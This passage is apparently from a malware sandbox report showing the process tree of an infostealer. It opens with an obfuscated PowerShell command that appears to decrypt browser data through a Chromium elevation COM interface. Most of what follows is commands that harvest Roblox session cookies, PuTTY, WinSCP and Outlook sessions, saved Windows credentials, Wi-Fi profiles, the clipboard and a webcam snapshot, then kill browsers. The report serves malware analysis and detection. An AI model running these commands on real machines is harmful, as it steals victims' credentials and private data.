QAKAHAAdQBiAGwAaQBjACAAaQBuAHQAZQByAGYAYQBjAGUAIABJAEUAbABlAHYAYQB0AG8AcgAgAHsACgAgACAAIAAgAFsAUAByAGUAcwBlAHIAdgBlAFMAaQBnAF0AIABpAG4AdAAgAFIAdQBuAFIAZQBjAG8AdgBlAHIAeQBDAFIAWABFAGwAZQB2AGEAdABlAGQAKABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABXAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAYQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4ATABQAFcAUwB0AHIAKQBdACAAcwB0AHIAaQBuAGcAIABiACwAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBMAFAAVwBTAHQAcgApAF0AIABzAHQAcgBpAG4AZwAgAGMALABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABXAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAZAAsAHUAaQBuAHQAIABlACwAbwB1AHQAIAB1AGwAbwBuAGcAIABmACkAOwAKACAAIAAgACAAWwBQAHIAZQBzAGUAcgB2AGUAUwBpAGcAXQAgAGkAbgB0ACAARQBuAGMAcgB5AHAAdABEAGEAdABhACgAaQBuAHQAIABwACwAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAaQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgBTAHQAcgApAF0AIABvAHUAdAAgAHMAdAByAGkAbgBnACAAbwAsAG8AdQB0ACAAdQBpAG4AdAAgAGUAcgByACkAOwAKACAAIAAgACAAWwBQAHIAZQBzAGUAcgB2AGUAUwBpAGcAXQAgAGkAbgB0ACAARABlAGMAcgB5AHAAdABEAGEAdABhACgAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAaQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgBTAHQAcgApAF0AIABvAHUAdAAgAHMAdAByAGkAbgBnACAAbwAsAG8AdQB0ACAAdQBpAG4AdAAgAGUAcgByACkAOwAKAH0ACgAnAEAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAkAGIAPQAnAFEAVgBCAFEAUQBnAEUAQQBBAEEARABRAGoASgAzAGYAQQBSAFgAUgBFAFkAeAA2AEEATQBCAFAAdwBwAGYAcgBBAFEAQQBBAEEATQB6AGkAbwBSAFcAKwBiAGMARgBIAHMARwBNAFEATABSAHcAcAB0AEkATQBRAEEAQQBBAEEASABBAEEAQQBBAEUAYwBBAGIAdwBCAHYAQQBHAGMAQQBiAEEAQgBsAEEAQwBBAEEAUQB3AEIAbwBBAEgASQBBAGIAdwBCAHQAQQBHAFUAQQBBAEEAQQBRAFoAZwBBAEEAQQBBAEUAQQBBAEMAQQBBAEEAQQBCAHoAQwBYAGcAcwB5AEMAdgAvAHMAawAvAFAAOQBvAFkASQBBAEQANgBHAGoAMQBSAEcAagB3AGwAVgAyADEAcgBSAEcAdgA2AGsATQA5AEkAUABNAGcAQQBBAEEAQQBBAE8AZwBBAEEAQQBBAEEASQBBAEEAQwBBAEEAQQBBAEEAVQBmAEQAbAB1ADUAWQA2AHcAYwBsAHQASQByAEIAOQBvADUATQA3AHIAcwBjAEYAawBhAGgAdwBsAHcARABiAGUAZABhAHMAZAByAEIAaABFAEMAWgBBAEIAQQBBAEMAdwBtAHoAawBoADgAUgBmAHoAWABtADIAWABrAEUAVAAxAFkAMABhAG8AUABVAHMAbwBWADIARQBrAFQAWgA5ADgARwBuADEATwBLAGoAdAA2AGMASwAwAFEAcABkAFoAOAA0AFAAYQAvAC8AcABSAGQAdABWAHoAcgBDAFgAVgBBAEgAawBuAFEAQgBRAHEAaABqAEgAVQBnAGsAZAAvAHQAbAA0AHgAbwBhADQATwBNAHgAWQAyAC8ALwBlAEcAcwAwAEEAZQBkAFgAMQBFAHMAZwBpADkAMAB1ADcASQBYAEEANgB3ADQAOABsAHIANQBsAGUASAA2AHkAQwBRAGQAbQBKADMAaQBvAE0AWQA0ADgARwBmAEQAVABMAG0ATwAzAGUANwBVAG4AegBmAE8AZwBnAHcAbQBrADMAUgBZAC8AWAAvADkAVgBYAG8AVgBCACsASQB1AFkAUABDAGIAaAA4AEkAYQBCAGQAcwB5AGgAZgBtAFgAcABjADYAVABGAC8AKwBmADYAQwBZAFkAWABhADMAZQBGAHIATAAzAEMAUgBUAGkATQBnAGgAKwBVAGgAbQBNAEYAQQBJAGcAbQByAE4ARwBKAEsATwBWAEoAUABEAFcASABYADEAZABjAEMAegBJAFEAaABtAGcANABSAEwAVwB0AE0ASwBNADYAYgBRAHAAVwA4AEsAaAByAGYAVgBxADYASgAvAGoAVwA0AGQAdwBGAHIAdABwAFEAcgBnAGIATwBiAGEAZgBwAGcAbwBZAFgANgBpAC8ANgBYAEQAMwBVAHUAZQBUAFAANAB6AE0AOABJADMASQBPAHQASQBoAHoAbAAyAGYAdAB5AHAAQwBPAHkAUAB4AEQAeABTAEgAQwBvAHEAZQBjAFUAbwBBAFcAUgA3AEkARQBzAGUAcQBWADQAZwBTAFYATgBOAGcANAA0AEUAcwBsADIAOABPAGIAZAByAFcAYQB3AHYAVgA2AFUAaABYADEAegA3AFYAdQBNAEoAVQBnAFoAVgBmAHQAdwBGAHYAagBQAFEAdAB4AG8AMwBtAHcANQBDAHEAaABTAEYAUwBUAEwAeABxAG8AKwBLAHAAYQBCADgASQBnAHgANwBVAGwATQBmADMAQgBpAEwARQBKAG4AOQB2AHMASABZAHQAUABsAFUAWQBEAFAAYwBEAHgANgAxAFUAeABzAFIAMwBsAC8AWgBCAGMANgBiAEkAdABJAFAAUABFAGMARgBUAFgAaQAxAEgAVwB2AHgAYgBXAC8AcAA3AEoAbwB6ADgASgBIAGIANQBRAGIAdwBXADcAWQB6AHIAWQBUAE8AcgB2AGcAbgBWAG8AWAB5AHAAZwBWAEwAbgB0AFYAdwB1AGcAMQA1AGsAawBiAFMAWQA0AFoAcQBXAFEAQQBBAEEAQQBGACsAaQBSADQAMQBTAGwAbABpAG4AOQB0AEIAegBzAEgARgBGADkAUABSADEAOABoAFMAaQBVADYARABtAGcAQwBlADAAcwAvAFQAMwBtADEAbAAyAHoAWQBiADEAWABnADUAYQBiAC8AYQB2AE8ARwBDADQASABoAGIATwBIAEgAQgAyAFcAawBaAG8AZgBlAFcATgBxAFkAVABqAFMAUwBPAGwAMwBHAG8APQAnAAoAJABlAG4AYwA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEwAYQB0AGkAbgAxAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgApACkACgBmAG8AcgBlAGEAYwBoACgAJABjACAAaQBuACAAQAAoACcAewA3ADAAOAA4ADYAMABFADAALQBGADYANAAxAC0ANAA2ADEAMQAtADgAOAA5ADUALQA3AEQAOAA2ADcARABEADMANgA3ADUAQgB9ACcALAAnAHsARABEADIAQwBDADAANABBAC0ARAAzAEQAMwAtADQARABDAEEALQBCAEQAQgA3AC0ARQAwADcARgA0AEIAMAA1AEIANQBGADkAfQAnACwAJwB7AEQAQQA3AEYARABDAEEANQAtADIAQwBBAEEALQA0ADYAMwA3AC0AQQBBADEANwAtADAANwA0ADAANQA4ADQARABFADcARABBAH0AJwAsACcAewA3ADAANABDADIAOAA3ADIALQAyADAANAA5AC0ANAAzADUARQAtAEEANAA2ADkALQAwAEEANQAzADQAMwAxADMAQwA0ADIAQgB9ACcALAAnAHsANQA3ADYAQgAzADEAQQBGAC0ANgAzADYAOQAtADQAQwBCAEIALQBCADMANAA1AC0ANgBCADgAOABFADgAQgBBAEIAMwBDAEUAfQAnACkAKQB7AAoAIAAgACAAIAB0AHIAeQB7AAoAIAAgACAAIAAgACAAIAAgACQAZQBsAD0AWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKABbAFQAeQBwAGUAXQA6ADoARwBlAHQAVAB5AHAAZQBGAHIAbwBtAEMATABTAEkARAAoAFsARwB1AGkAZABdACQAYwAsACQAdAByAHUAZQApACkAIAAtAGEAcwAgAFsASQBFAGwAZQB2AGEAdABvAHIAXQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAhACQAZQBsACkAewBjAG8AbgB0AGkAbgB1AGUAfQAKACAAIAAgACAAIAAgACAAIAAkAGQAZQBjAD0AWwBzAHQAcgBpAG4AZwBdADoAOgBFAG0AcAB0AHkAOwAkAGUAcgByAD0AWwB1AGkAbgB0ADMAMgBdADAACgAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAGwALgBEAGUAYwByAHkAcAB0AEQAYQB0AGEAKAAkAGUAbgBjACwAWwByAGUAZgBdACQAZABlAGMALABbAHIAZQBmAF0AJABlAHIAcgApACAALQBlAHEAIAAwACAALQBhAG4AZAAgACQAZABlAGMALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAApAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAbwBuAHMAbwBsAGUAXQA6ADoAVwByAGkAdABlAEwAaQBuAGUAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoATABhAHQAaQBuADEALgBHAGUAdABCAHkAdABlAHMAKAAkAGQAZQBjACkAKQApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQB4AGkAdAAgADAACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQBjAGEAdABjAGgAewB9AAoAfQA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:816
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jiactmhq\jiactmhq.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:992
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEDF5.tmp" "c:\Users\Admin\AppData\Local\Temp\jiactmhq\CSC2DBFA5DD1BE64A37AF52707318FAEE34.TMP"
        5⤵
        
        PID:4440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4240
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3832
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1396
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2968
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:4324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:4584
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:3416
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:3748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:1632
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1448
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:2388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:1028
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4660
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:5116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com" /v ".ROBLOSECURITY" 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:2520
- - C:\Windows\system32\reg.exe
    reg query "HKCU\SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com" /v ".ROBLOSECURITY"
    3⤵
    PID:2316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:4668
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4440
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:5036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:4184
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4592
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:5112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s 2>nul"
  2⤵
  PID:3408
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4684
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
    3⤵
    PID:648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3172
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
    3⤵
    PID:1888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:1552
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:2972
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:2456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "& { try { & ffmpeg -f dshow -i video='0' -frames:v 1 'C:\Users\Admin\AppData\Local\Temp\orbit_vc_kbm9s6ieuw.png' -y 2>$null } catch {} }""
  2⤵
  - Executes a command shell one-liner
  PID:2412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "& { try { & ffmpeg -f dshow -i video='0' -frames:v 1 'C:\Users\Admin\AppData\Local\Temp\orbit_vc_kbm9s6ieuw.png' -y 2>$null } catch {} }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\vc_dkpjgx2ehq4.ps1""
  2⤵
  - Executes a command shell one-liner
  PID:4132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\vc_dkpjgx2ehq4.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1184
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qjl3wndz\qjl3wndz.cmdline"
      4⤵
      PID:2072
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES824.tmp" "c:\Users\Admin\AppData\Local\Temp\qjl3wndz\CSC1493BEEA5FA04025BE1058357655E18.TMP"
        5⤵
        
        PID:2904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:2204
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:2452
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:2944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath 2>nul"
  2⤵
  PID:4212
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Valve\Steam" /v SteamPath
    3⤵
    PID:2400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:848
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1788
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  PID:4628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles" /s 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:776
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles" /s
    3⤵
    PID:1720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmdkey /list"
  2⤵
  - Executes a command shell one-liner
  PID:3244
- - C:\Windows\system32\cmdkey.exe
    cmdkey /list
    3⤵
    PID:3908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles 2>nul"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:220
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "set 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:2248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard" 2>nul"
  2⤵
  - Clipboard Data
  PID:2608
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:3404
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4220
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:1172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:1576
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4844
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:2744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:3280
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:4480
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:812
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    PID:3836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:2164
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:4204
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:1140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:4684
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:2548
- C:\Windows\system32\cmd.exe
